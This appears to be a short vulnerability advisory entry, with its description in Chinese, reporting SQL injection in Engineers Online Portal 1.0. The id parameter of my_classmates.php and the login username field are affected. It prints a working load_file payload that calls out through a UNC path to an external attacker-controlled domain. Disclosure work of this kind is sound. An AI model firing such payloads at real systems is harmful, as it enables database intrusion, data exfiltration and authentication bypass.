  author: nu11secur1ty
  severity: critical
  description: |-
    Engineers Online Portal 1.0 应用程序中的 id 参数my_classmates.php似乎容易受到三种类型的 SQL 注入攻击，即基于布尔的盲注、基于错误的查询和 UNION 查询。payload '+(select load_file('\hh2s4z961nps5mtx8px8zoud248ywq0erhf82yqn.nu11secur1tyexploit.net\ggc'))+' 在 id 参数中提交。此有效负载注入一个 SQL 子查询，该查询使用引用外部域上的 URL 的 UNC 文件路径调用 MySQL 的 load_file 函数。应用程序与该域交互，表明已执行注入的 SQL 查询。此外，用户登录容易受到参数“username”上的 SQL 注入绕过身份验证的攻击。
